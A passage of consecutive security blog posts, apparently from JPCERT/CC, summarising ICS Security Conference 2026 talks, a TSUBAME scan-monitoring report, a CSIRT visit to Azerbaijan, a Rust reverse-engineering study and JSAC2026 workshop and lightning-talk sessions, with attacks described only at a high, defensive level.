Using the cases of Colonial Pipeline and Maersk, he showed that business operations can come to a standstill when IT functions such as billing and logistics fail, even if the ICS itself remains intact. This highlights the importance of designing operations with degraded functionality in mind. He also referred to recovery efforts enabled through mutual assistance and public support beyond the boundaries of individual companies, suggesting that collaboration beyond competition becomes critical in times of crisis.

Finally, he presented a framework for restart decisions from three perspectives: MVA (Minimum Viable Architecture), MVP (Minimum Viable Process), and MVC (Minimum Viable Control). He stressed the importance of organizing response options in advance, including analog continuity, backup digital recovery, and external support. He concluded that a deep understanding of OT ultimately strengthens effective incident response capabilities for ICS.

Security Challenges and Defense Methods for Digital Twins in the Automotive Industry

Speaker: Chizuru Toyama, Threat Research / Senior Threat Researcher, TXOne Networks Inc.
<Slides (Japanese)>
<YouTube (Japanese)>

Ms. Toyama provided a systematic overview of the security challenges associated with the growing use of digital twins in the automotive industry, as well as practical defense methods.

She began by organizing definitions and standards related to digital twins, confirming that they are a concept for reproducing real-world products, facilities, and processes in virtual space for use in simulation, monitoring, and optimization. Against the backdrop of the automotive industry undergoing what is often described as a once-in-a-century transformation driven by CASE (Connected, Autonomous, Shared, and Electric), she showed that digital twins are playing an increasingly important role as a foundational technology supporting more advanced development, production, and operations.

Specific examples introduced included Toyota’s optimization of factory sensors, Honda’s energy management initiatives in anticipation of V2G/V1G strategies, and Hyundai’s smart factories. These examples illustrated benefits such as improved quality, lower costs, and more flexible production systems. At the same time, she pointed out that bidirectional connections between the physical and virtual worlds expand the attack surface. She outlined possible attack scenarios such as network reconnaissance, data injection, delay attacks, and model tampering, and showed how these could cascade into high-risk outcomes including incorrect control, production　shutdowns, and intellectual property theft.

She also emphasized the importance of role-specific defensive measures and their limitations, the development of incident response playbooks, and security design throughout the entire lifecycle from development to operations. She emphasized that rigorous Secure-by-Design practices, continuous monitoring, and multilayered defense including coordination with the SOC are key to achieving sustainable safety and security in the automotive industry in the era of digital twins.

Promoting Integrated Safety and Security Design for Cyber Attack Response

Speaker: Taito Sasaki, Representative Member, Forehacks LLC /Visiting Researcher, Institute for Manufacturing and Innovation DX Laboratory, Nagoya Institute of Technology
<Slides (Japanese)>
<YouTube (Japanese)>

Mr. Sasaki proposed an approach that integrates safety and security in ICS across the entire lifecycle. This approach responds to increasingly sophisticated cyber attacks and stronger regulatory requirements.

He pointed out that, as the number of vulnerabilities continues to rise and organizations respond to frameworks such as the EU Cyber Resilience Act (CRA), consistent management is required from development through operations and maintenance. Under these conditions, conventional siloed organizational structures and fragmented document management approaches are reaching their limits.

As a solution, he introduced a framework in which the Data Flow Diagram (DFD) serves as a common structural model, allowing safety requirements, security requirements, and SBOMs to be managed together in a single repository. By converting the DFD into JSON and using node_id and dataflow_id as indexes, design intent, analysis results, test requirements, decision histories, and SBOM information can all be linked together to realize a Single Source of Truth (SSOT). He also introduced a mechanism for ensuring traceability through the use of MANIFEST files to manage the overall state and history of the project.

Using the development of an autonomous wheelchair as a case study, he showed how safety analysis (HARA) and security analysis (TARA) can be conducted on the same model to design countermeasures for sensor failures and spoofing attacks in a consistent manner. He also presented an audit process in which generative AI detects “ghost flows” not present in the original design during implementation and prompts corrective action by evaluating differences from the design JSON. In the operational phase, he emphasized the importance of linking SBOM and CVE information to enable tracing vulnerability impacts by ID and recording the rationale for risk acceptance and response decisions.

Throughout the presentation, he emphasized that ensuring safety and security in future ICS requires organizing system structures around the DFD and incorporating generative AI as an intelligence layer in an integrated design platform. This enables people to make decisions based on clear evidence.

International Trends in Vulnerability Information and CVD-Related Activities Amid Growing Interest Driven by European Regulations and Other Legal Requirements

Speaker: Tomotaka Ito, Global CVD Project Lead, Global Coordination Division, JPCERT/CC
<Slides (Japanese)>
<YouTube (Japanese)>

Mr. Ito organized international trends, issues, and expected stakeholder responses related to vulnerability handling, an area of growing interest in light of evolving European regulations. The discussion focused on Coordinated Vulnerability Disclosure (CVD), CVE, and SBOM.

He explained that vulnerability information must be properly managed not only in terms of technical accuracy, but also in operational aspects such as receiving, coordinating, and disclosing vulnerability information. Otherwise, new risks can emerge, including zero-day exploitation and response delays. For this reason, he emphasized the importance of CVD, in which reporters, vendors, users, coordinators, and others work together.

Regarding the CVE Program, he shared recent developments such as the growth in the number of CVE Numbering Authorities (CNA) and Roots and confusion surrounding the National Vulnerability Database (NVD), pointing out the need for data quality, enrichment, and proper handling. He also noted that JPCERT/CC supports organizations in Japan as both a CNA and a Root. On SBOM, he explained that it is a means of improving transparency and serves as a foundation for vulnerability management by identifying components and matching them against CVEs. He also noted that international discussions are underway on issues such as identifier harmonization, coverage, and differences among tools.

He further explained that the EU Cyber Resilience Act (CRA) and the NIS2 Directive require measures such as the establishment of vulnerability disclosure policies, reporting of exploited vulnerabilities within 24 hours, and preparation of SBOMs, suggesting that these requirements could also affect companies outside the EU. In light of these developments, he called on vendors to establish vulnerability handling processes and disclosure policies, improve supply chain visibility, and consider CVE assignment. He also encouraged users to improve asset visibility, make use of SBOMs, and adopt prioritization methods such as SSVC and EPSS. He concluded by stressing the importance of building a balanced ecosystem in which vulnerability information can be shared and used effectively across countries and stakeholder groups.

Closing remarks

Speaker: Takayoshi Shiigi, Board Member, JPCERT/CC

The closing remarks were delivered by Mr. Shiigi, a board member of JPCERT/CC.

He noted that this conference marked the 18th event since the inaugural conference in 2009. He also reported that this year’s conference was held as an in-person event with archived distribution of selected presentations, and that much of the event’s operation was handled by JPCERT/CC.

He also noted that, as the term “cyber security” has become more widely used, its scope has expanded beyond IT and networks to include “the business itself,” including the ICS at the core of business operations.

He concluded by encouraging practitioners facing challenges in a changing environment to make use of this conference and JPCERT/CC’s activities as a forum for experimentation. He also expressed his gratitude to the speakers and all participants.

In Closing

At this year’s ICS Security Conference, speakers from a variety of sectors, including ICS vendors, visiting researchers at university-affiliated institutes, and user companies, shared their perspectives on the evolving landscape surrounding ICS security. We hope that this conference will serve as a useful reference for all attendees involved in ICS in their future work. We will continue working to improve the conference while sharing information and knowledge that contribute to the advancement of ICS security in Japan.

Thank you for reading this event report on the ICS Security Conference 2026. We look forward to seeing you at the next conference.

Yumi Orito
(This article was machine-translated and manually reviewed.)

TSUBAME Report Overflow (Jul-Sep 2025)

2026-03-30T05:00:00Z

This TSUBAME Report Overflow series discusses monitoring trends observed by overseas TSUBAME sensors, as well as other activities that are not included in the Internet Threat Monitoring Quarterly Reports. This article covers the monitoring results from July to September 2025.

Suspicious packets from domestic NVR products

In the main issue of the Internet Threat Monitoring Report, we presented observations of packets originating from TP-Link routers suspected to be infected with malware among nodes with source IP addresses in Japan. However, our honeypots have TSUBAME has also observed packets transmitted from devices manufactured by vendors other than TP-Link. For some source IP addresses, multiple open ports were confirmed. In such cases, it is assumed that port forwarding is configured on the router deployed at the IP address, enabling multiple devices to provide services behind a single global IP address. While this type of configuration is not uncommon, it is difficult to identify which specific device has been compromised based solely on external observations. In this article, we introduce a particularly noteworthy case observed among IP addresses where multiple devices are operating in combination. The characteristics observed for each IP address are summarized below:

A login page for an NVR product was accessible
An administration interface for an enterprise router manufactured by a Japanese company was accessible.
A login page for an SDN controller was accessible

One notable characteristic of this case is that the Web UIs of these devices were listening on the same port numbers, even though they were hosted on different IP addresses. In addition, the administration interface of the domestically manufactured routers contained a character string presumed to be an abbreviation of a prefecture name, suggesting that the systems may be deployed across multiple regions. Based on these findings, it is possible that a system department or the SI/NIer responsible for deployment provisioned these systems using identical configurations. Given that suspicious packets have been observed, there is a high likelihood that one or more of the devices have been compromised. Although we are currently attempting to contact the users operating these systems, we have not yet been successful.

Comparison of the observation trends in Japan and overseas

Figure 1 is a monthly comparison of the average number of packets received in Japan and overseas. Overseas sensors received more packets than those in Japan. For domestic sensors, the number of packets peaked in July and then gradually decreased month by month. In contrast, packets from overseas sensors declined once through August, but increased again in September.

Figure 1: Monthly comparison of the average number of packets received in Japan and overseas

Comparison of monitoring trends by sensor

Table 1: Comparison of top 10 packets by domestic and overseas sensors

	Japan #1	Japan #2	North America #1	North America #2	Europe #1	Europe #2	Other regions #1	Other regions #2
#1	23/TCP	23/TCP	80/TCP	23/TCP	23/TCP	ICMP	ICMP	22/TCP
#2	80/TCP	80/TCP	ICMP	22/TCP	443/TCP	443/TCP	23/TCP	23/TCP
#3	3389/TCP	443/TCP	443/TCP	3389/TCP	443/TCP	80/TCP	22/TCP	ICMP
#4	22/TCP	8080/TCP	23/TCP	80/TCP	80/TCP	23/TCP	80/TCP	80/TCP
#5	ICMP	8888/TCP	22/TCP	443/TCP	22/TCP	22/TCP	443/TCP	443/TCP
#6	8080/TCP	22/TCP	8728/TCP	8728/TCP	8728/TCP	8728/TCP	8728/TCP	8728/TCP
#7	443/TCP	3389/TCP	3389/TCP	8080/TCP	3389/TCP	3389/TCP	3389/TCP	3389/TCP
#8	5555/TCP	ICMP	8080/TCP	ICMP	8080/TCP	8080/TCP	8080/TCP	8080/TCP
#9	34567/TCP	8728/TCP	8443/TCP	445/TCP	8443/TCP	8443/TCP	6379/TCP	8443/TCP
#10	60000/TCP	5555/TCP	6379/TCP	8081/TCP	6379/TCP	6379/TCP	2222/TCP	2222/TCP

In closing

Monitoring at multiple locations enables us to determine whether certain changes are occurring only within a specific network. Although we did not publish any special alerts or extra issues this quarter, it remains important to pay close attention to scanning activity. We will continue to publish blog articles as part of the Internet Threat Monitoring Quarterly Report each quarter, and we will also release an extra issue if we observe any unusual changes. We greatly appreciate your feedback on this series. Please use the comment form below to let us know which topics you would like us to introduce or discuss further. Thank you for reading.

Keisuke Shikano

(Translated by Takumi Nakano)

CSIRTs Around the World – Azerbaijan

2026-03-25T06:00:00Z

Hello, this is Shihono from the Global Coordination Division. In early March, we traveled to Baku, the capital of Azerbaijan, and had the opportunity to visit five organizations, including CSIRTs and facilities involved in cyber security workforce development. In this article, I would like to introduce an overview of these visits.

Azerbaijan, the “Land of Fire,” and Its Capital Baku, the “City of Winds”

Baku cityscape and the Caspian Sea

Azerbaijan is located in the Caucasus region, which stretches between the Caspian Sea and the Black Sea. The country possesses abundant natural resources such as natural gas and oil. It is sometimes referred to as the “Land of Fire” due to places like Yanar Dag, a mountain where natural gas continuously burns as it seeps from the ground.

Its capital, Baku, lies along the Caspian Sea. The city left a strong impression with its coexistence of an old town that preserves the atmosphere of the medieval period and futuristic buildings that reflect its recent economic development. The name “Baku” is said to mean “City of Winds” in Persian, and the strong winds blowing in from the Caspian Sea seemed to embody its name.

CSIRTs in Azerbaijan

In Azerbaijan, CSIRTs have been established across various sectors, including government, the domestic Internet, and research and education networks, to address cyber security issues in line with their respective roles. Specifically, there are three CSIRTs: CERT.AZ[1], CERT.GOV.AZ[2], and AzScienceCERT[3]. These organizations contribute to strengthening national cyber security through activities such as awareness-raising and incident response.

JPCERT/CC has previously collaborated with CERT.AZ and CERT.GOV.AZ, both members of FIRST, through international conferences and workshops. This visit marked our first engagement with AzScienceCERT. In the following sections, we provide a brief overview of each CSIRT.

CERT.AZ

Group photo with members of CERT.AZ

CERT.AZ is a CSIRT established in 2012 and is operated by the Electronic Security Service under the Ministry of Digital Development and Transport, which oversees ICT policy, digital government, telecommunications infrastructure, and transport infrastructure.

Its primary activities include coordinating and collaborating with stakeholders involved in national information infrastructure, as well as providing incident response support for private organizations and general users. It is also engaged in collecting and analyzing threat intelligence and promoting cyber security awareness. In responding to cyber threats, CERT.AZ places strong emphasis on information sharing—not only domestically but also internationally—to address cross-border threats. During our discussions, they expressed their intention to further strengthen information sharing with international partners, including Japan.

CERT.AZ is also actively involved in awareness-raising initiatives aimed at improving security literacy. In addition to disseminating information through TV commercials and podcasts, they also deliver security alerts via Azerbaijan’s digital ID application platform, “myGov.”

JPCERT/CC previously held an online workshop with CERT.AZ in August 2025 to exchange information on activities and current situations. Meeting in person this time helped strengthen our relationship and will likely enable smoother coordination in emergency situations. CERT.AZ has also participated in JSAC, a conference hosted by JPCERT/CC, and we have continued to engage with them through various opportunities.

CERT.GOV.AZ

Group photo with members of SCISSS and CERT.GOV.AZ

CERT.GOV.AZ is a government-focused CSIRT established in 2008 under the State Service for Special Communication and Information Security (SCISSS), one of Azerbaijan’s national security agencies.

Its primary responsibilities include detecting cyber attacks targeting government networks, implementing preventive measures, monitoring the security of government systems, and providing incident response support. CERT.GOV.AZ operates a Security Operations Center (SOC) on a 24/7 basis and also maintains specialized teams dedicated to digital forensics and malware analysis. In addition, to promote cyber security awareness, the organization runs a dedicated website, focusing on the dissemination of threat intelligence. Through this platform, it publishes threat analysis reports and releases internally developed malware analysis tools.

When incident investigations reveal cases that may affect entities outside the country, they notify their international counterparts. During our discussions, we confirmed that we will continue to cooperate through information sharing and other collaborative activities.

AzScienceCERT

Group photo with members of the Institute of Information Technology and AzScienceCERT

AzScienceCERT is a CSIRT operating under the Institute of Information Technology of the Azerbaijan National Academy of Sciences (ANAS). It was established in 2011 and provides services to universities, research institutions, and educational organizations that utilize AzScienceNet, the national research and education network. Its activities include information security risk management and incident response support.

The Institute of Information Technology houses various facilities, including a data center for AzScienceNet, research centers focused on information technology and cyber security, and an operations center responsible for network management and monitoring. As a research institution, it conducts studies and conferences on scientific and practical topics such as software engineering and digital forensics. During our visit, they expressed an interest in promoting international collaboration in these areas.

Organizations Supporting Human Resource Development and Capacity Building

In Azerbaijan, efforts to develop cyber security talent and enhance the capabilities of private-sector organizations are actively carried out alongside CSIRT activities. During this visit, we also had the opportunity to visit the following two organizations.

Azerbaijan Cybersecurity Center

Facility tour

The Azerbaijan Cybersecurity Center [4] is a national-level education and training hub established to develop cyber security talent within the country. It was founded in 2023 through the initiative of the Ministry of Digital Development and Transport and the Innovation and Digital Development Agency. The Technion – Israel Institute of Technology serves as an international education partner, supporting the center through curriculum development and the dispatch of instructors.

One of the key features of the center’s training programs is their strong focus on practical skills, in contrast to traditional academic education at universities. Participants undergo intensive training over extended periods of six months to one year, including hands-on exercises based on realistic cyber attack and defense scenarios.

Admission to the program is competitive and requires passing a selection process. Applicants must be at least 17 years old (with no upper age limit), and are expected to have advanced English proficiency and basic IT skills. The program receives around 2,000 applications for approximately 60 available positions, making it highly competitive. For students enrolled in partner universities, participation in the program can also count toward graduation credits, which adds to its appeal.

To date, 480 participants have completed the program, and 86% of them have gone on to work in the cyber security field. The center also offers various career support opportunities, such as internships with companies and networking events with alumni, which contribute to this high employment rate. During our visit, we were given a tour of the facility and had the opportunity to interact with highly motivated trainees.

In addition to these human resource development initiatives, Azerbaijan is also promoting activities that support the growth of the cyber security sector through the formation of networks among private companies and experts.

Association of Cybersecurity Organizations of Azerbaijan (AKTA)

Meeting with AKTA members

The Association of Cybersecurity Organizations of Azerbaijan (AKTA)[5] is a non-profit organization established in 2022 that brings together cyber security-related companies, organizations, and experts across the country. It serves as a platform to connect stakeholders in the cyber security field and works to strengthen Azerbaijan’s cyber security ecosystem. Its activities include enhancing the overall security environment, promoting education, training, and awareness, fostering public–private collaboration, and facilitating information sharing and joint initiatives.

Currently, around 60 member organizations participate in AKTA, including cyber security firms, IT companies, telecommunications operators, and educational institutions. One of the challenges highlighted during our discussions was that while security measures in critical infrastructure sectors have progressed, small and medium-sized enterprises (SMEs) still lag behind in implementing adequate protections. In addressing such challenges, organizations like AKTA play an important role.

AKTA is also actively engaged in building international networks through exchanges with companies and experts in countries such as Türkiye, Kazakhstan, and Uzbekistan, particularly in the areas of education and industry. The association organizes an international event called the “National Cybersecurity Forum”, where topics such as critical infrastructure protection, international cooperation, capacity building, and cyber diplomacy are discussed. They also expressed interest in having speakers from Japan participate in the future.

Conclusion

In Azerbaijan, efforts to strengthen cyber security at the national level are progressing alongside ongoing digital transformation. In 2023, the country formulated the “Information Security and Cybersecurity Strategy (2023–2027),” which identifies key priority areas such as the protection of critical information infrastructure, enhancement of cyber threat response capabilities, human resource development, and the promotion of international cooperation. Through this visit, we observed that government agencies, private-sector organizations, and research institutions are each fulfilling their respective roles while working collaboratively to improve the country’s overall cyber security capabilities.

We were also impressed by the strong sense of motivation among the professionals we met, who are actively working to advance cyber security initiatives and international collaboration. This positive energy resonated with the dynamic atmosphere of Baku, a city that continues to grow and evolve, and was truly inspiring for us as well. Moving forward, we hope to further strengthen cooperation with CSIRTs around the world through continued exchanges, expanding information sharing and collaboration to address cross-border incidents and emerging threats.

Shihono Yonezawa

(This document was machine-translated and manually reviewed.)

References

[1] CERT.AZ
https://cert.az/

[2] CERT.GOV.AZ
https://cert.gov.az/

[3] AzScienceCERT
https://azsciencenet.az/az/service/3

[4] Azerbaijan Cybersecurity Center
https://www.akm.az/

[5] Association of Cybersecurity Organization of Azerbaijan
https://akta.az/en

Study of Binaries Created with Rust through Reverse Engineering

2026-03-12T05:00:00Z

Rust has been gaining attention in recent years as a language expected to replace C and C++, due to its memory safety and high performance. While Rust continues to be adopted as a programming language, malware developed using Rust (hereinafter referred to as "Rust malware"), such as Rust variants of SysJoker and the BlackCat ransomware, has also been increasing in recent years. However, knowledge of reverse engineering techniques for Rust malware is still insufficient compared to classical reverse engineering techniques for C/C++ malware. For this reason, JPCERT/CC has published the "Study of Binaries Created with Rust through Reverse Engineering", which summarizes the results of verifications conducted on the reverse engineering of binaries created with Rust (hereinafter referred to as "Rust binaries").

Study of Binaries Created with Rust through Reverse Engineering

This article provides an overview of the report.

Contents of the Report

This report summarizes the results of studies and verifications conducted by selecting study items related to reverse engineering of Rust binaries. For detailed study items, please refer to Appendix A. The versions of the tools used in this study are listed below. In addition, the binaries were compiled using a Windows MSVC environment during the study and verification.

  
    cargo: 1.82.0
    rustc: 1.82.0
    IDA Pro v8.3.230608

Usage Scenarios

Since each study item in this report is independent, readers can refer only to items of interest rather than reading the entire report from start to finish. Some study items include sample programs. Therefore, it is recommended to first review the items of interest, then compile the sample programs and examine the Rust binaries alongside the report.

Conclusion

Rust is a language that is rapidly gaining adoption, and since it is considered relatively difficult to reverse engineer, its abuse by attackers is expected to increase. We hope that this report will be of some help in the reverse engineering of Rust malware. If you find any issues or have comments regarding the content, we welcome your feedback.

Tomoya Kamei
(This document was machine-translated and manually reviewed.)

Appendix A: Study Items

**Table 1: Study Items**
No.	Title	Overview
1	Differences between binaries, associated with setting modifications of Profiles in Cargo	Study on what extent approaches that use cargo to reduce binary sizes can reduce the sizes and what information is left unremoved. The approaches should be those available from disclosed information.
2	Reducing binary sizes	Study on to what extent approaches that use rustc to reduce binary sizes can reduce the sizes and what information is left unremoved. The approaches should be those available from disclosed information.
3	Identifying Rust binaries	Study on approaches that determine whether a binary is a Rust binary
4	Exception Directory	Study on information available from an Exception Directory structure
5	TLS Directory	Study on information available from a TLS Directory structure and contents of a TLS Callback
6	Identifying the main function and initialization	Approaches for identifying user-defined main functions
7	Strings	Approaches for handling strings
8	Mangling function names	Structure of mangled function names and how to demangle mangled function names
9	Closure	Behavior of closures and memory layouts to be used
10	Enum types	Study on how behavior of enum types in Rust is implemented in assembly code
11	Match statement	Study on how behavior of match statements in Rust is implemented in assembly code
12	Panic statement	Differences in assembly code between behavior on a panic "unwind" and "abort"
13	Iterator	Study on how code using iterators or the "next" function is implemented in assembly code
14	Trait	Differences between calls to a function using traits and to a common function
15	Identify typical traits	Approaches for identifying traits the #[derive] attribute uses, in assembly code
16	Dynamic dispatch reference	Characteristics of assembly code and differences between calls using dynamic and static dispatches
17	Collection	Memory layout to be used
18	Identifying functions generated from the same generics	Study on approaches for identifying a function generating another function
19	Smart pointer	Characteristics and memory layouts of smart pointers
20	Inline assembly	Characteristic code patterns
21	Link attribute	Differences in how to link libraries
22	Repr attribute	Study on how memory layouts change according to specifiable options
23	How to identify code in standard and third-party libraries	Approaches for identifying statically linked standard and third-party library functions

JSAC2026 -Workshop/Lightning Talk Session/Panel Discussion-

2026-03-06T02:00:00Z

In this article, we continue our overview of the sessions at JSAC2026. We focus on the Workshop sessions, Lightning Talk sessions, and the Panel Discussion in this report.

［Workshop 1］

Leveraging EML Analyzer to Triage Malicious Email Messages During Incident Response

Speaker: Manabu Niseki; Michał Praszmo, CERT Polska

Slides (English)

Manabu Niseki and Michał Praszmo focused on the analysis and triage of malicious emails, first reviewing email architecture and attack techniques, and then introducing practical analytical methods using real email samples.

In the first half, they outlined fundamental email specifications such as the Internet Message Format and MIME, and explained how emails are delivered across systems and how to interpret the “Received” headers. They also covered authentication technologies including SPF, DKIM, and DMARC, clarifying their respective roles, limitations, and what analysts should verify within actual email headers.

In the second half, they conducted hands-on analysis using EML Analyzer, an open-source tool that parses EML and MSG files and visualizes structured data such as headers, message bodies, attachments, and URLs.
Participants used EML Analyzer to perform CTF-style exercises, submitting analysis results based on tasks such as:
　- Identifying the Message-ID
　- Determining the subject of the original message referenced in an NDR (Non-Delivery Report)
　- Calculating the SHA256 hash of a PDF attachment disguised as a quotation request
　- Identifying the source host IP that relayed the email to a Microsoft Outlook environment
　- Identifying the FQDN of the host that executed a ClamAV malware scan
　- Extracting the Envelope FROM (Return-Path) from debug headers
　- Identifying the sender’s client IP address from X-Headers
　- Identifying the attacker-controlled C2 server used in a Roundcube XSS attack
　- Determining the original sender’s full email address based on traces of conversation hijacking
　- Analyzing modifications that caused DKIM verification failure and identifying the original body hash
　- Identifying the mechanism by which the received email passed SPF validation
　- Determining the abuse report destination when an @gmail.com email fails DMARC validation

［Workshop 2］

Advanced Malware Reverse Engineering: Dealing with Anti-Analysis Techniques from Scratch

Speaker: Mark Lim, Palo Alto Networks, Inc.

Slides (English)

Mark Lim guided participants through a hands-on reverse engineering workshop focused on bypassing anti-analysis techniques observed in real-world malware.

The workshop analyzed two malware families:
　- Guloader: a multi-stage dropper
　- Gremlin: an infostealer

Participants analyzed a multi-stage attack scenario in which Guloader acts as the initial access vector and ultimately deploys and executes Gremlin, conducting their analysis with the full attack chain in mind.

The session progressed step by step, beginning with analysis of VBS files and PowerShell scripts, moving to shellcode analysis, and ultimately addressing control flow obfuscation implemented through Vectored Exception Handlers (VEH). After each hands-on phase, Mark provided detailed explanations of the underlying mechanisms and analytical techniques, reinforcing both conceptual understanding and practical skills.

He also detailed the tools and scripts used throughout the analysis, allowing participants to systematically learn practical reverse engineering techniques.

［Workshop 3］

Re:birth the fidb: Reverse Engineering the .NET AOT Malware

Speaker: Akihiro Yoshitake; Akihiro Kida; Akihiro Jin, NF Laboratories Co., Ltd.

Slides (Japanese)

This workshop was designed to enable beginners to systematically and practically learn analysis techniques for malware compiled with .NET Native AOT (Ahead-of-Time), which has recently begun to be observed in the wild.

Traditional .NET malware typically retains IL code and extensive metadata, making analysis with decompiles such as dnSpy relatively straightforward. In contrast, binaries compiled with Native AOT do not contain IL code and significantly reduce metadata, rendering conventional .NET malware analysis approaches insufficient. The workshop addressed practical strategies for overcoming these Native AOT-specific challenges.

In the first half, the speakers compared conventional .NET binaries (including IL) with Native AOT-compiled binaries, explaining their internal structures and characteristics. They demonstrated how Native AOT binaries can resemble C++ native binaries and how static linking of standard libraries greatly increases the volume of code subject to analysis.

They then introduced signature-based triage techniques to address this complexity. Through hands-on exercises using Ghidra and IDA Pro, participants learned how to identify functions derived from standard libraries and narrow down relevant code for analysis. By leveraging Ghidra’s Function ID and IDA Pro’s FLIRT signatures, participants confirmed substantial improvements in code readability.

In the latter half, they examined the Dehydrate / Rehydrate mechanisms used during Native AOT compilation and demonstrated techniques to restore string literals and object metadata that are often lost in static analysis. Using a Ghidra plugin, participants performed hands-on exercises to statically reconstruct compressed metadata and Frozen Objects without dynamic analysis, significantly improving code readability.

［Lightning Talk Sessions 1］

HoldingHandsRAT Attacks Against Japanese Companies

講演者：Speaker: Toshiki Takeuchi, NEC

Slides (English)

Toshiki Takeuchi analyzed HoldingHandsRAT attacks targeting Japanese companies, drawing on observed phishing emails and malware behavior.

HoldingHandsRAT has previously been used in campaigns targeting Taiwan, Japan, and Malaysia. He presented a case observed in May 2025, in which Japanese-language phishing emails targeted Japanese organizations. Based on PDB paths and runtime behavior identified during analysis, he demonstrated similarities with publicly available HoldingHands source code.

In one example, attackers disguised the phishing email as a business notification titled “Notice of Salary System Revision” and attached a ZIP archive. The archive contained a password-protected executable file along with a text file listing the password. Protecting the executable with a password likely aimed to evade detection by security products.

He further noted that some malware samples used in the campaign carried digital signatures suspected to have been stolen from legitimate companies. Additionally, multiple domains with similar naming patterns were registered around the same period, many resolving to IP addresses within Japan.

［Lightning Talk Sessions 2］

Dangerous Co-Tenants in Hosting Services

講演者：Speaker: Takayuki Tomatsuri, NTT Security Japan Co., Ltd.; Ryosuke Togashi, NTT DOCOMO BUSINESS, Inc.

Slides (Japanese)

Takayuki Tomatsuri and Ryosuke Togashi examined security risks arising from shared email infrastructures in rental servers and hosting services, illustrating their points with concrete examples.

Although rental servers offer ease of use, they frequently involve shared IP addresses and mail-sending infrastructure among multiple tenants. They highlighted how such shared environments do not always align well with sender authentication technologies such as SPF and DMARC. In particular, because SPF relies on source IP addresses, it may fail to distinguish spoofed emails sent by other tenants within the same IP range.

They also explained that when service providers and customers share the same mail infrastructure, attackers may be able to send emails impersonating the provider. Since the provider’s SPF record authorizes certain IP addresses, malicious tenants may effectively leverage those same IP addresses. In such environments, even properly configured SPF and DMARC settings may not fully prevent spoofing.

As one method to assess this risk, they introduced an approach that compares SPF records of providers and tenants. While external parties cannot easily determine the internal configuration of rental services, correlating publicly available DNS SPF records can help infer whether tenant-usable IP addresses are included in the provider’s SPF record, thereby indicating potential spoofing risk.

［Lightning Talk Sessions 3］

Efficient Phishing Site Hunting with TOAMI, IKESU, and CHOKA: Browser Extension Integration for Streamlined Operations

Speaker: Yuichi Tsuboi, NTT DOCOMO BUSINESS, Inc.

Yuichi Tsuboi introduced the browser extension TOAMI and its companion tools IKESU and CHOKA, which were developed to support analysts engaged in phishing site investigations.

TOAMI assists analysts investigating suspicious URLs and outputs phishing detection results as structured logs.

IKESU visualizes logs generated by TOAMI through a GUI, enabling listing, searching, and sorting. Designed around the concept of managing logs as “fish in a holding tank,” the tool operates entirely within the browser.

CHOKA builds on detection results selected in IKESU and supports the creation and submission of abuse reports.

These tools address the substantial burden associated with manually conducting in-depth phishing site investigations. Because such investigations require significant resources and advanced expertise, operational efficiency and standardization are critical. By integrating TOAMI, IKESU, and CHOKA, Yuichi presented a vision of streamlining the workflow from detection and analysis to takedown, thereby accelerating phishing site mitigation.

［Lightning Talk Sessions 4］

Deceiving Developers: Abusing Legitimate GitHub Repositories to Deliver Malware

Speaker: Theo Webb, GMO Cybersecurity by Ierae, Inc.

Slides (English)

Theo Webb analyzed a campaign in which attackers abused legitimate GitHub repositories to distribute malware targeting developers, explaining the techniques, background, and impact.

The attack combined malvertising with GitHub’s repository structure. Attackers forked a legitimate repository and created a commit that modified the download links in the README. This commit could be displayed under a URL that appeared to belong to the official repository, allowing victims to view it in a format nearly identical to the legitimate page.

The attackers promoted a link to the malicious commit through advertisements using keywords such as “GitHub Desktop.” Victims who clicked the advertisement were taken to the modified README page and downloaded the installer from the altered link. On Windows systems, this resulted in the execution of malware including HijackLoader, while on macOS systems, it led to infection with AMOS Stealer.

Theo highlighted structural factors enabling the attack. GitHub allows fork-derived commits to appear under URLs resembling those of official repositories, and in some cases, commits remain accessible even after forks or accounts are deleted, complicating tracking and complete removal. He also demonstrated how anchor links within README files can bypass certain warning mechanisms on GitHub.

He concluded by emphasizing defensive measures, including verifying the default branch of official repositories and downloading installers from the Releases page or the vendor’s official website rather than directly from README links.

［Lightning Talk Sessions 5］

Unmasking Houken: Advanced TTPs and Detection

Speaker: Ruth Ng, PricewaterhouseCoopers Hong Kong

Ruth Ng examined the division of labor in modern state-sponsored cyber attacks, focusing particularly on the role of Initial Access Brokers. As the presentation included a substantial amount of TLP:RED information, further details cannot be shared publicly.

［Lightning Talk Sessions 6］

Monitoring Domestic Mobile Line Contracts Used by Overseas Investment Scams and Similar Fraud Schemes

Speaker: yumano

yumano presented research evaluating the effectiveness of SMS-based identity verification by analyzing mobile phone numbers abused in overseas investment scams and similar fraud schemes.

He described efforts to collect mobile numbers actually used in romance scams and to investigate their contract status and duration.

By analyzing contract status over approximately ten months before and after the fraudulent activities, he reported a pattern in which lines were contracted shortly before the scam operations and terminated soon after their completion.

These findings suggest that attackers may acquire large numbers of mobile phone numbers for authentication purposes within short periods. As a result, it was pointed out that SMS-based identity verification alone may not provide sufficient protection against fraud.

He also emphasized the importance of verifying contract status prior to account registration and rapidly sharing information about mobile numbers used in fraud cases to prevent further damage.

［Panel Discussion］

Security Incidents of 2025 Highlighted by the JSAC2026 Review Board

Speaker: CFP Review Board

(Rintaro Koike, NTT Security Japan Co., Ltd.; Minoru Kobayashi, Internet Initiative Japan Inc.; Shota Nakajima, Cyber Defense Institute, Inc.; Yu Nakatsuru, Fujitsu Limited; Yusuke Niwa, ITOCHU Corporation; Hiroaki Hara, Palo Alto Networks, Inc.; Steve Su, Google LLC; Shusei Tomonaga, JPCERT/CC)

The CFP Review Board members reflected on major security incidents of 2025 and discussed the cases that drew their particular attention.
Although the discussion featured lively exchanges among the board members, many details fall under TLP:RED and therefore cannot be shared publicly.

Conclusion

At JSAC2026, selected sessions were recognized for their outstanding contributions.
The Excellent Presentation Award (formerly the Best Speaker Award) was determined based on participant survey results, recognizing the session that received the highest “Excellent” (very satisfied) rating.
The Special Recognition Award was decided through deliberation by the CFP Review Board.
The presentations that received the Excellent Presentation Award and Special Recognition Award are as follows:

<Excellent Presentation Award>
Title: Re:birth the fidb: Reverse Engineering the .NET AOT Malware
Speaker: Akihiro Yoshitake; Akihiro Kida; Akihiro Jin, NF Laboratories Co., Ltd.

<Special Recognition Award>
Title: Unmasking the CoGUI Phishing Kit, the Major Chinese Phishing-as-a-Service Targeting Japan
Speaker: TeamDonut Shadow Liu, Lime Chen, Albert Song

Finally, we would like to take this opportunity to express our sincere appreciation to everyone who participated in JSAC2026 and to all readers of this report.

Yuki Yano

(This article was machine-translated and manually reviewed.)

JSAC2026 -Day 2-

